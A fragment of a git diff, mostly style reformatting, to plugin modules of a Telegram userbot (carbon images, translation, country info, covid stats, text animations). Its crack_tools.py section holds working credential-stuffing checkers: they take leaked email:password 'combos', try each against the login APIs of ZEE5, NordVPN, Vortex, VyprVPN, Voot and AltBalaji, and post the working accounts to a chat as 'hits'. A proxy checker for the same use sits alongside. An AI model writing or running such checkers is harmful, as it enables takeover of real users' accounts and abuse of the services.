B=BLUE, T=The, lang=CARBONLANG) + chrome_options = Options() + chrome_options.add_argument("--headless") + chrome_options.binary_location = Config.GOOGLE_CHROME_BIN + chrome_options.add_argument("--window-size=1920x1080") + chrome_options.add_argument("--disable-dev-shm-usage") + chrome_options.add_argument("--no-sandbox") + chrome_options.add_argument("--disable-gpu") + prefs = {"download.default_directory": "./"} + chrome_options.add_experimental_option("prefs", prefs) + await e.edit("⬛⬛⬜⬜⬜") - if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): - """ A Wrapper for carbon.now.sh """ - await e.edit("⬜⬜⬜⬜⬜") - CARBON = 'https://carbon.now.sh/?bg=rgba({R}%2C{G}%2C.{B}%2C1)&t={T}&wt=none&l=auto&ds=false&dsyoff=20px&dsblur=68px&wc=true&wa=true&pv=56px&ph=56px&ln=false&fl=1&fm=Fira%20Code&fs=14px&lh=152%25&si=false&es=2x&wm=false&code={code}' - CARBONLANG = "en" - textx = await e.get_reply_message() - pcode = e.text - if pcode[6:]: - pcode = str(pcode[6:]) - elif textx: - pcode = str(textx.message) # Importing message to module - code = quote_plus(pcode) # Converting to urlencoded - url = CARBON.format(code=code, R=RED, G=GREEN, B=BLUE, T=The, lang=CARBONLANG) - chrome_options = Options() - chrome_options.add_argument("--headless") - chrome_options.binary_location = Config.GOOGLE_CHROME_BIN - chrome_options.add_argument("--window-size=1920x1080") - chrome_options.add_argument("--disable-dev-shm-usage") - chrome_options.add_argument("--no-sandbox") - chrome_options.add_argument('--disable-gpu') - prefs = {'download.default_directory' : './'} - chrome_options.add_experimental_option('prefs', prefs) - await e.edit("⬛⬛⬜⬜⬜") + driver = webdriver.Chrome( + executable_path=Config.CHROME_DRIVER, options=chrome_options + ) + driver.get(url) + download_path = "./" + driver.command_executor._commands["send_command"] = ( + "POST", + "/session/$sessionId/chromium/send_command", + ) + params = { + "cmd": "Page.setDownloadBehavior", + "params": {"behavior": "allow", "downloadPath": download_path}, + } + driver.execute("send_command", params) - driver = webdriver.Chrome(executable_path=Config.CHROME_DRIVER, options=chrome_options) - driver.get(url) - download_path = './' - driver.command_executor._commands["send_command"] = ("POST", '/session/$sessionId/chromium/send_command') - params = {'cmd': 'Page.setDownloadBehavior', 'params': {'behavior': 'allow', 'downloadPath': download_path}} - command_result = driver.execute("send_command", params) + driver.find_element_by_xpath("//button[contains(text(),'Export')]").click() + sleep(5) # this might take a bit. + # driver.find_element_by_xpath("//button[contains(text(),'4x')]").click() + # sleep(5) + await e.edit("⬛⬛⬛⬜⬜") + # driver.find_element_by_xpath("//button[contains(text(),'PNG')]").click() + # sleep(5) #Waiting for downloading - driver.find_element_by_xpath("//button[contains(text(),'Export')]").click() - sleep(5) # this might take a bit. - #driver.find_element_by_xpath("//button[contains(text(),'4x')]").click() - #sleep(5) - await e.edit("⬛⬛⬛⬜⬜") - #driver.find_element_by_xpath("//button[contains(text(),'PNG')]").click() - #sleep(5) #Waiting for downloading + await e.edit("⬛⬛⬛⬛⬛") + file = "./carbon.png" + await e.edit("✅RGB Karbon Completed, Uploading...........") + await e.client.send_file( + e.chat_id, + file, + caption="Carbonised by [VirtualUserbot](https://github.com/inukaasih/virtualuserbot)", + force_document=False, + reply_to=e.message.reply_to_msg_id, + ) - await e.edit("⬛⬛⬛⬛⬛") - file = './carbon.png' - await e.edit("✅RGB Karbon Completed, Uploading...........") - await e.client.send_file( - e.chat_id, - file, - caption="Carbonised by [VirtualUserbot](https://github.com/inukaasih/virtualuserbot)", - force_document=False, - reply_to=e.message.reply_to_msg_id, - ) + os.remove("./carbon.png") + # Removing carbon.png after uploading + await e.delete() # Deleting msg - os.remove('./carbon.png') - # Removing carbon.png after uploading - await e.delete() # Deleting msg CMD_HELP.update( { - "carbonRBG": - ".karb " - "\nCreate a cool random colorful carbon image for that text 😂😂(not work in media)" - }) + "carbonRBG": ".karb " + "\nCreate a cool random colorful carbon image for that text 😂😂(not work in media)" + } +) diff --git a/fridaybot/modules/card.py b/fridaybot/modules/card.py index 263585ae..95c79b4a 100644 --- a/fridaybot/modules/card.py +++ b/fridaybot/modules/card.py @@ -1,4 +1,4 @@ -# Original By +# Original By # @THE_B_LACK_HAT # @danish_00 # For #Cobra @@ -6,8 +6,12 @@ # Card Generator ############################## from faker import Faker as dc -from ..utils import admin_cmd as hehe + from fridaybot import bot as cobra + +from ..utils import admin_cmd as hehe + + @cobra.on(hehe("card")) async def _cobra(dark): cyber = dc() diff --git a/fridaybot/modules/classictranslate.py b/fridaybot/modules/classictranslate.py index 7f144d7d..78adb926 100644 --- a/fridaybot/modules/classictranslate.py +++ b/fridaybot/modules/classictranslate.py @@ -4,11 +4,11 @@ .tl LangaugeCode | text to translate""" import emoji -from asyncio import sleep -from fridaybot import CMD_HELP from googletrans import Translator -from ..utils import admin_cmd, sudo_cmd +from fridaybot import CMD_HELP + +from ..utils import admin_cmd @borg.on(admin_cmd("tl ?(.*)")) @@ -38,14 +38,13 @@ async def _(event): # either here, or before translation output_str = """**Translated Successfully** from {} to {} {}""".format( - translated.src, - lan, - after_tr_text + translated.src, lan, after_tr_text ) await event.edit(output_str) except Exception as exc: await event.edit(str(exc)) + CMD_HELP.update( { "Classic translate": ".tl " diff --git a/fridaybot/modules/copy.py b/fridaybot/modules/copy.py index 6c03809c..27c192f9 100644 --- a/fridaybot/modules/copy.py +++ b/fridaybot/modules/copy.py @@ -1,8 +1,9 @@ # Original credits to Black Lightning -from ..utils import admin_cmd from fridaybot import CMD_HELP +from ..utils import admin_cmd + @borg.on(admin_cmd(pattern="copy")) async def _(event): diff --git a/fridaybot/modules/countries.py b/fridaybot/modules/countries.py index 05719b8b..28500ada 100644 --- a/fridaybot/modules/countries.py +++ b/fridaybot/modules/countries.py @@ -11,19 +11,11 @@ # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . -from uniborg.util import friday_on_cmd import flag -import html - -from telethon.tl.functions.photos import GetUserPhotosRequest -from telethon.tl.functions.users import GetFullUserRequest -from telethon.tl.types import MessageEntityMentionName -from telethon.utils import get_input_location - -from fridaybot import CMD_HELP, sclient -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd, admin_cmd from countryinfo import CountryInfo +from fridaybot import CMD_HELP +from fridaybot.utils import admin_cmd @friday.on(admin_cmd(pattern="country (.*)")) @@ -34,65 +26,65 @@ async def _(event): lol = input_str country = CountryInfo(lol) try: - a = country.info() + a = country.info() except: - await event.edit("Country Not Avaiable Currently") + await event.edit("Country Not Avaiable Currently") name = a.get("name") - bb= a.get("altSpellings") - hu = '' + bb = a.get("altSpellings") + hu = "" for p in bb: - hu += p+", " - + hu += p + ", " + area = a.get("area") borders = "" hell = a.get("borders") for fk in hell: - borders += fk+", " - - call = "" + borders += fk + ", " + + call = "" WhAt = a.get("callingCodes") for what in WhAt: - call+= what+" " - + call += what + " " + capital = a.get("capital") currencies = "" fker = a.get("currencies") for FKer in fker: - currencies += FKer+", " + currencies += FKer + ", " HmM = a.get("demonym") geo = a.get("geoJSON") pablo = geo.get("features") Pablo = pablo[0] PAblo = Pablo.get("geometry") - EsCoBaR= PAblo.get("type") + EsCoBaR = PAblo.get("type") iso = "" iSo = a.get("ISO") for hitler in iSo: - po = iSo.get(hitler) - iso += po+", " + po = iSo.get(hitler) + iso += po + ", " fla = iSo.get("alpha2") nox = fla.upper() okie = flag.flag(nox) languages = a.get("languages") - lMAO="" + lMAO = "" for lmao in languages: - lMAO += lmao+", " + lMAO += lmao + ", " nonive = a.get("nativeName") waste = a.get("population") reg = a.get("region") sub = a.get("subregion") tik = a.get("timezones") - tom ="" + tom = "" for jerry in tik: - tom+=jerry+", " + tom += jerry + ", " GOT = a.get("tld") lanester = "" for targaryen in GOT: - lanester+=targaryen+", " + lanester += targaryen + ", " wiki = a.get("wiki") @@ -121,18 +113,14 @@ async def _(event): Information Gathered By VirtualUserbot.
    Get Your Own Superpowers with VirtualUserbot.
    """ - - + await borg.send_message( event.chat_id, caption, parse_mode="HTML", ) - - await event.delete() - - + await event.delete() CMD_HELP.update( diff --git a/fridaybot/modules/covid.py b/fridaybot/modules/covid.py index 6cd9be28..40f0102d 100644 --- a/fridaybot/modules/covid.py +++ b/fridaybot/modules/covid.py @@ -1,9 +1,11 @@ # corona virus stats for catuserbot from covid import Covid -from telethon import events -from ..utils import admin_cmd, edit_or_reply, sudo_cmd + from fridaybot import CMD_HELP +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + + @bot.on(admin_cmd(pattern="covid(?: |$)(.*)")) @bot.on(sudo_cmd(pattern="covid(?: |$)(.*)", allow_sudo=True)) async def corona(event): @@ -33,8 +35,6 @@ async def corona(event): "Corona Virus Info of {}:\n{}".format(country, data), parse_mode="html", ) - - CMD_HELP.update( diff --git a/fridaybot/modules/crack_tools.py b/fridaybot/modules/crack_tools.py index 46dfa1df..2e12a932 100644 --- a/fridaybot/modules/crack_tools.py +++ b/fridaybot/modules/crack_tools.py @@ -1,61 +1,56 @@ -import json import os + import requests from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP -from fridaybot.utils import admin_cmd -from sys import argv -import urllib3 -import os +from fridaybot import CMD_HELP +from fridaybot.utils import admin_cmd, friday_on_cmd -from fridaybot.utils import friday_on_cmd data = { - "User-Agent": "NordApp android (playstore/2.8.6) Android 9.0.0", - "Content-Length": "55", - "Accept-Encoding":"gzip" + "User-Agent": "NordApp android (playstore/2.8.6) Android 9.0.0", + "Content-Length": "55", + "Accept-Encoding": "gzip", } -data2 = { - "accept-encoding": "gzip", - "user-agent": "RemotrAndroid/1.5.0" -} +data2 = {"accept-encoding": "gzip", "user-agent": "RemotrAndroid/1.5.0"} face = { - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "en-US,en;q=0.9", - "Connection": "keep-alive", - "Content-Length": "136", - "Content-Type": "application/json;charset=UTF-8", - "Host": "userauth.voot.com", - "Origin": "https://www.voot.com", - "Referer": "https://www.voot.com", - "Sec-Fetch-Dest": "empty", - "Sec-Fetch-Mode": "cors", - "Sec-Fetch-Site": "same-site", - "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66" + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-US,en;q=0.9", + "Connection": "keep-alive", + "Content-Length": "136", + "Content-Type": "application/json;charset=UTF-8", + "Host": "userauth.voot.com", + "Origin": "https://www.voot.com", + "Referer": "https://www.voot.com", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "same-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66", } -pq={ - "Accept":"application/json, text/plain", - "Accept-Encoding":"gzip, deflate, br", - "Accept-Language":"en-GB,en-US;q=0.9,en;q=0.8,ta;q=0.7", - "Connection":"keep-alive", - "Host":"api.cloud.altbalaji.com", - "Origin":"https://www.altbalaji.com", - "Referer":"https://www.altbalaji.com/", - "Sec-Fetch-Dest":"empty", - "Sec-Fetch-Mode":"cors", - "Sec-Fetch-Site":"same-site", - "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36" +pq = { + "Accept": "application/json, text/plain", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8,ta;q=0.7", + "Connection": "keep-alive", + "Host": "api.cloud.altbalaji.com", + "Origin": "https://www.altbalaji.com", + "Referer": "https://www.altbalaji.com/", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "same-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36", } @friday.on(friday_on_cmd(pattern="cz5$")) async def zee5(event): - await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`') + await event.edit( + "`Checking Your Combos. This May Take Time Depending On No of Combos.`" + ) stark_dict = [] hits_dict = [] hits = 0 @@ -66,14 +61,16 @@ async def zee5(event): stark_dict = f.read().splitlines() os.remove(starky) if len(stark_dict) > 50: - await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`') + await event.edit("`Woah, Thats A Lot Of Combos. Keep 50 As Limit`") return for i in stark_dict: starkm = i.split(":") email = starkm[0] password = starkm[1] try: - meke = requests.get(f'https://userapi.zee5.com/v1/user/loginemail?email={email}&password={password}').json() + meke = requests.get( + f"https://userapi.zee5.com/v1/user/loginemail?email={email}&password={password}" + ).json() except: meke = None if meke.get("token"): @@ -86,15 +83,20 @@ async def zee5(event): return with open("hits.txt", "w") as hitfile: for s in hits_dict: - hitfile.write(s + ' | @FridayOT\n') + hitfile.write(s + " | @FridayOT\n") await borg.send_file( - event.chat_id, "hits.txt", caption=f"**!ZEE5 HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" + event.chat_id, + "hits.txt", + caption=f"**!ZEE5 HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`", ) os.remove("hits.txt") + @friday.on(friday_on_cmd(pattern="cnd$")) async def vypr(event): - await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`') + await event.edit( + "`Checking Your Combos. This May Take Time Depending On No of Combos.`" + ) stark_dict = [] hits_dict = [] hits = 0 @@ -105,21 +107,21 @@ async def vypr(event): stark_dict = f.read().splitlines() os.remove(starky) if len(stark_dict) > 50: - await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`') + await event.edit("`Woah, Thats A Lot Of Combos. Keep 50 As Limit`") return for i in stark_dict: starkm = i.split(":") email = starkm[0] password = starkm[1] - sedlyf = { - "username" : email, - "password" : password - } + sedlyf = {"username": email, "password": password} try: - meke = requests.post(url='https://zwyr157wwiu6eior.com/v1/users/tokens', headers=data, json=sedlyf).json() - except Exception as s: + meke = requests.post( + url="https://zwyr157wwiu6eior.com/v1/users/tokens", + headers=data, + json=sedlyf, + ).json() + except Exception: meke = None - pass if meke.get("token"): hits += 1 hits_dict.append(f"{email}:{password}") @@ -130,15 +132,20 @@ async def vypr(event): return with open("hits.txt", "w") as hitfile: for s in hits_dict: - hitfile.write(s + ' | @VirtualUserbot\n') + hitfile.write(s + " | @VirtualUserbot\n") await borg.send_file( - event.chat_id, "hits.txt", caption=f"**!NORD HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" + event.chat_id, + "hits.txt", + caption=f"**!NORD HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`", ) os.remove("hits.txt") - + + @friday.on(friday_on_cmd(pattern="cvx$")) async def vortex(event): - await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`') + await event.edit( + "`Checking Your Combos. This May Take Time Depending On No of Combos.`" + ) stark_dict = [] hits_dict = [] hits = 0 @@ -149,21 +156,19 @@ async def vortex(event): stark_dict = f.read().splitlines() os.remove(starky) if len(stark_dict) > 50: - await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`') + await event.edit("`Woah, Thats A Lot Of Combos. Keep 50 As Limit`") return for i in stark_dict: starkm = i.split(":") email = starkm[0] password = starkm[1] - sedlyf = { - "email": email, - "pass": password - } + sedlyf = {"email": email, "pass": password} try: - meke = requests.post(url='https://vortex-api.gg/login', headers=data2, json=sedlyf).json() - except Exception as s: + meke = requests.post( + url="https://vortex-api.gg/login", headers=data2, json=sedlyf + ).json() + except Exception: meke = None - pass if meke.get("token"): hits += 1 hits_dict.append(f"{email}:{password}") @@ -174,15 +179,20 @@ async def vortex(event): return with open("hits.txt", "w") as hitfile: for s in hits_dict: - hitfile.write(s + ' | @FridayOT\n') + hitfile.write(s + " | @FridayOT\n") await borg.send_file( - event.chat_id, "hits.txt", caption=f"**!VORTEX HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" + event.chat_id, + "hits.txt", + caption=f"**!VORTEX HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`", ) os.remove("hits.txt") + @friday.on(friday_on_cmd(pattern="cvr$")) async def vortex(event): - await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`') + await event.edit( + "`Checking Your Combos. This May Take Time Depending On No of Combos.`" + ) stark_dict = [] hits_dict = [] hits = 0 @@ -193,26 +203,26 @@ async def vortex(event): stark_dict = f.read().splitlines() os.remove(starky) if len(stark_dict) > 50: - await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`') + await event.edit("`Woah, Thats A Lot Of Combos. Keep 50 As Limit`") return for i in stark_dict: starkm = i.split(":") email = starkm[0] password = starkm[1] data = { - "username" : email, - "password" : password, - "User-Agent":"Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-N950N Build/NMF26X)", - "Connection": "close", - "locale":"en", - "X-GF-PLATFORM":"android", - "X-GF-PRODUCT":"vyprvpn", - "X-GF-Agent":"VyprVPN Android v2.6.4.3156. (1b33ca24)", - "Content-Type" : "application/x-www-form-urlencoded" + "username": email, + "password": password, + "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-N950N Build/NMF26X)", + "Connection": "close", + "locale": "en", + "X-GF-PLATFORM": "android", + "X-GF-PRODUCT": "vyprvpn", + "X-GF-Agent": "VyprVPN Android v2.6.4.3156. (1b33ca24)", + "Content-Type": "application/x-www-form-urlencoded", } try: meke = requests.get(url=noob, headers=data).text - except Exception as s: + except Exception: meke = None if "invalid username or password" in meke: bads += 1 @@ -225,59 +235,70 @@ async def vortex(event): return with open("hits.txt", "w") as hitfile: for s in hits_dict: - hitfile.write(s + ' | @VirtualUserbot\n') + hitfile.write(s + " | @VirtualUserbot\n") await borg.send_file( - event.chat_id, "hits.txt", caption=f"**!VYPR HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" + event.chat_id, + "hits.txt", + caption=f"**!VYPR HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`", ) os.remove("hits.txt") - - -def find_between( s, first, last ): + + +def find_between(s, first, last): try: - start = s.index( first ) + len( first ) - end = s.index( last, start ) + start = s.index(first) + len(first) + end = s.index(last, start) return s[start:end] except ValueError: return "" - - - @friday.on(admin_cmd(pattern="proxy")) async def _(event): if event.fwd_from: return - await event.edit("CHECKING PROXIES... PLEASE WAIT. MAY TAKE TIME DEPENDING ON NUMBER OF PROXIES.") + await event.edit( + "CHECKING PROXIES... PLEASE WAIT. MAY TAKE TIME DEPENDING ON NUMBER OF PROXIES." + ) pablo = await event.get_reply_message() escobar = await borg.download_media(pablo.media, Config.TMP_DOWNLOAD_DIRECTORY) - + cmd = f"python3 -m PyProxyToolkit.Console -i {escobar} -o goood.txt -t 80 -x 20 -s httpbinStrategy" - + os.system(cmd) - - file = open("goood.txt","r") + + file = open("goood.txt", "r") Counter = 0 - Content = file.read() - CoList = Content.split("\n") - for i in CoList: - if i: - Counter += 1 + Content = file.read() + CoList = Content.split("\n") + for i in CoList: + if i: + Counter += 1 file.close() - if Counter<=0: - await event.edit("Check Failed. Either Your File Has All Bad Proxies Or Your Proxy File Is Invalid.") - elif Counter>=1: - file1 = open("goood.txt", "a") - file1.write("\nCHECKED BY VirtualUserbot. GET YOUR OWN FRIDAY FROM @VirtualUserbot. ") - file1.close() - await borg.send_file(event.chat_id, "goood.txt", caption=f"**PROXIES CHECKED**\n**GOOD PROXIES: ** {Counter}\n\n**CHECKED BY FRIDAY. GET YOUR OWN FRIDAY FROM @FRIDAYCHAT.**") - os.remove(escobar) - os.remove("goood.txt") + if Counter <= 0: + await event.edit( + "Check Failed. Either Your File Has All Bad Proxies Or Your Proxy File Is Invalid." + ) + elif Counter >= 1: + file1 = open("goood.txt", "a") + file1.write( + "\nCHECKED BY VirtualUserbot. GET YOUR OWN FRIDAY FROM @VirtualUserbot. " + ) + file1.close() + await borg.send_file( + event.chat_id, + "goood.txt", + caption=f"**PROXIES CHECKED**\n**GOOD PROXIES: ** {Counter}\n\n**CHECKED BY FRIDAY. GET YOUR OWN FRIDAY FROM @FRIDAYCHAT.**", + ) + os.remove(escobar) + os.remove("goood.txt") @friday.on(friday_on_cmd(pattern="cvt$")) async def voot(event): - await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`') + await event.edit( + "`Checking Your Combos. This May Take Time Depending On No of Combos.`" + ) normal_dict = [] good_dict = [] hits = 0 @@ -288,21 +309,24 @@ async def voot(event): normal_dict = f.read().splitlines() os.remove(humm) if len(normal_dict) > 50: - await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`') + await event.edit("`Woah, Thats A Lot Of Combos. Keep 50 As Limit`") return for i in normal_dict: mmho = i.split(":") email = mmho[0] try: - password = mmho[1] + password = mmho[1] except IndexError: - continue + continue hell = { - "type":"traditional", - "deviceId":"Windows NT 10.0", - "deviceBrand":"PC/MAC", - "data":{"email":email, "password":password}} - r = requests.post("https://userauth.voot.com/usersV3/v3/login", json=hell, headers=face).json() + "type": "traditional", + "deviceId": "Windows NT 10.0", + "deviceBrand": "PC/MAC", + "data": {"email": email, "password": password}, + } + r = requests.post( + "https://userauth.voot.com/usersV3/v3/login", json=hell, headers=face + ).json() a = r.get("data") kk = r.get("status") @@ -310,57 +334,70 @@ async def voot(event): if a != None: hits += 1 good_dict.append(f"{email}:{password}") - + elif kk != None: bady += 1 c = kk.get("code") if c == 1906: - await event.edit("voot server is blocking the requests. please try after few minutes...") - if len(good_dict) == 0: - return - with open("hits.txt", "w") as hitfile: - for s in good_dict: - hitfile.write(s + ' | @VirtualUserbot') - await borg.send_file(event.chat_id, "hits.txt", caption=f"**!VOOT HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bady}`") - os.remove("hits.txt") - return + await event.edit( + "voot server is blocking the requests. please try after few minutes..." + ) + if len(good_dict) == 0: + return + with open("hits.txt", "w") as hitfile: + for s in good_dict: + hitfile.write(s + " | @VirtualUserbot") + await borg.send_file( + event.chat_id, + "hits.txt", + caption=f"**!VOOT HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bady}`", + ) + os.remove("hits.txt") + return if len(good_dict) == 0: await event.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**") return with open("hits.txt", "w") as hitfile: for s in good_dict: - hitfile.write(s + ' | @VirtualUserbot\n') + hitfile.write(s + " | @VirtualUserbot\n") await borg.send_file( - event.chat_id, "hits.txt", caption=f"**!VOOT HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bady}`" + event.chat_id, + "hits.txt", + caption=f"**!VOOT HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bady}`", ) os.remove("hits.txt") - @friday.on(friday_on_cmd(pattern="cab$")) async def altbalaji(event): - await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`') + await event.edit( + "`Checking Your Combos. This May Take Time Depending On No of Combos.`" + ) stark_dict = [] hits_dict = [] hits = 0 bads = 0 lol = await event.get_reply_message() starky = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) - + with open(starky) as f: stark_dict = f.read().splitlines() os.remove(starky) if len(stark_dict) > 50: - await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`') + await event.edit("`Woah, Thats A Lot Of Combos. Keep 50 As Limit`") return for i in stark_dict: starkm = i.split(":") email = starkm[0] password = starkm[1] - plaq = {"username":email,"password":password} + plaq = {"username": email, "password": password} try: - meke = requests.post("https://api.cloud.altbalaji.com/accounts/login?domain=IN",json=plaq, headers=pq).json() + meke = requests.post( + "https://api.cloud.altbalaji.com/accounts/login?domain=IN", + json=plaq, + headers=pq, + ).json() except: meke = None if meke.get("session_token"): @@ -373,36 +410,44 @@ async def altbalaji(event): return with open("hits.txt", "w") as hitfile: for s in hits_dict: - hitfile.write(s + ' | @VirtualUserbot\n') + hitfile.write(s + " | @VirtualUserbot\n") await borg.send_file( - event.chat_id, "hits.txt", caption=f"**!ALTBALAJI HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" + event.chat_id, + "hits.txt", + caption=f"**!ALTBALAJI HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`", ) os.remove("hits.txt") @friday.on(friday_on_cmd(pattern="cab$")) async def altbalaji(event): - await event.edit('`Checking Your Combos. This May Take Time Depending On No of Combos.`') + await event.edit( + "`Checking Your Combos. This May Take Time Depending On No of Combos.`" + ) normal_list = [] hits_dict = [] hits = 0 bads = 0 lol = await event.get_reply_message() nub = await borg.download_media(lol.media, Config.TMP_DOWNLOAD_DIRECTORY) - + with open(nub) as f: normal_list = f.read().splitlines() os.remove(nub) if len(normal_list) > 50: - await event.edit('`Woah, Thats A Lot Of Combos. Keep 50 As Limit`') + await event.edit("`Woah, Thats A Lot Of Combos. Keep 50 As Limit`") return for i in normal_list: Hitler = i.split(":") email = Hitler[0] password = Hitler[1] - plaq = {"username":email,"password":password} + plaq = {"username": email, "password": password} try: - meke = requests.post("https://api.cloud.altbalaji.com/accounts/login?domain=IN",json=plaq, headers=pq).json() + meke = requests.post( + "https://api.cloud.altbalaji.com/accounts/login?domain=IN", + json=plaq, + headers=pq, + ).json() except: meke = None if meke.get("session_token"): @@ -415,12 +460,15 @@ async def altbalaji(event): return with open("hits.txt", "w") as hitfile: for s in hits_dict: - hitfile.write(s + ' | @FridayOT\n') + hitfile.write(s + " | @FridayOT\n") await borg.send_file( - event.chat_id, "hits.txt", caption=f"**!ALTBALAJI HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`" + event.chat_id, + "hits.txt", + caption=f"**!ALTBALAJI HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`", ) os.remove("hits.txt") + CMD_HELP.update( { "cracking_tools": "**Cracking Tools**\ diff --git a/fridaybot/modules/customs.py b/fridaybot/modules/customs.py index 8245f896..034aaaec 100644 --- a/fridaybot/modules/customs.py +++ b/fridaybot/modules/customs.py @@ -1,9 +1,9 @@ -from ..utils import admin_cmd from fridaybot import CMD_HELP -from fridaybot import bot + +from ..utils import admin_cmd -@borg.on(admin_cmd(pattern=r"hhi ?(.*)")) #initially made by @NOOB_GUY_OP +@borg.on(admin_cmd(pattern=r"hhi ?(.*)")) # initially made by @NOOB_GUY_OP async def hhi(event): giveVar = event.text a = giveVar[5:6] @@ -15,21 +15,23 @@ async def hhi(event): await event.edit( f"{a}{b}{b}{a}{b}{a}{a}{a}\n{a}{b}{b}{a}{b}{b}{a}{b}\n{a}{a}{a}{a}{b}{b}{a}{b}\n{a}{b}{b}{a}{b}{b}{a}{b}\n{a}{b}{b}{a}{b}{a}{a}{a}\n☁☁☁☁☁☁☁☁" ) + + # later made by me @borg.on(admin_cmd(pattern=r"gws?(.*)")) async def gws(event): giveVar = event.text - '''m = giveVar[5:-1] - if not m:''' + """m = giveVar[5:-1] + if not m:""" m = " Get Well Soon ! " a = giveVar[-1:] - if a=="s": + if a == "s": a = "🌹" elif not a: a = "🌹" - await event.edit( - f"{a}{a}{a}{a}{a}{a}{a} \n{a} {m} {a}\n{a}{a}{a}{a}{a}{a}{a}" - ) + await event.edit(f"{a}{a}{a}{a}{a}{a}{a} \n{a} {m} {a}\n{a}{a}{a}{a}{a}{a}{a}") + + @borg.on(admin_cmd(pattern=r"hii ?(.*)")) async def hii(event): giveVar = event.text @@ -42,6 +44,8 @@ async def hii(event): await event.edit( f"{b}{a}{b}{b}{a}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{b}{b}\n{b}{a}{a}{a}{a}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{b}" ) + + @borg.on(admin_cmd(pattern=r"hlo ?(.*)")) async def hlo(event): giveVar = event.text @@ -54,6 +58,8 @@ async def hlo(event): await event.edit( f"{b}{a}{b}{b}{a}{b}{a}{b}{b}{b}{b}{a}{a}{a}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{b}{b}{b}{b}{a}{b}{b}{a}{b}\n{b}{a}{a}{a}{a}{b}{a}{b}{b}{b}{b}{a}{b}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{b}{b}{b}{b}{a}{b}{b}{a}{b}\n{b}{a}{b}{b}{a}{b}{a}{a}{a}{a}{b}{a}{a}{a}{a}{b}" ) + + @borg.on(admin_cmd(pattern=r"bye ?(.*)")) async def bye(event): giveVar = event.text @@ -66,6 +72,8 @@ async def bye(event): await event.edit( f"{a}{b}{b}{a}{a}{b}{a}{a}{a}{b}{a}{b}{b}{b}{a}\n{a}{b}{a}{b}{a}{a}{b}{a}{b}{a}{a}{b}{a}{a}{a}\n{a}{b}{b}{a}{a}{a}{a}{b}{a}{a}{a}{b}{b}{a}{a}\n{a}{b}{a}{b}{a}{a}{a}{b}{a}{a}{a}{b}{a}{a}{a}\n{a}{b}{b}{a}{a}{a}{a}{b}{a}{a}{a}{b}{b}{b}{a}" ) + + CMD_HELP.update( { "customs": "__**PLUGIN NAME :** Custom animations__\ diff --git a/fridaybot/modules/dictionary.py b/fridaybot/modules/dictionary.py index b3c5be8c..2769c059 100644 --- a/fridaybot/modules/dictionary.py +++ b/fridaybot/modules/dictionary.py @@ -1,10 +1,10 @@ """Syntax: .meaning """ -from fridaybot import CMD_HELP import requests -from telethon import events from uniborg.util import admin_cmd +from fridaybot import CMD_HELP + @borg.on(admin_cmd("meaning (.*)")) async def _(event): @@ -21,7 +21,9 @@ async def _(event): for current_meaning in meaning_dict: current_meaning_type = current_meaning.get("type") current_meaning_definition = current_meaning.get("definition") - caption_str += f"**{current_meaning_type}**: {current_meaning_definition}\n\n" + caption_str += ( + f"**{current_meaning_type}**: 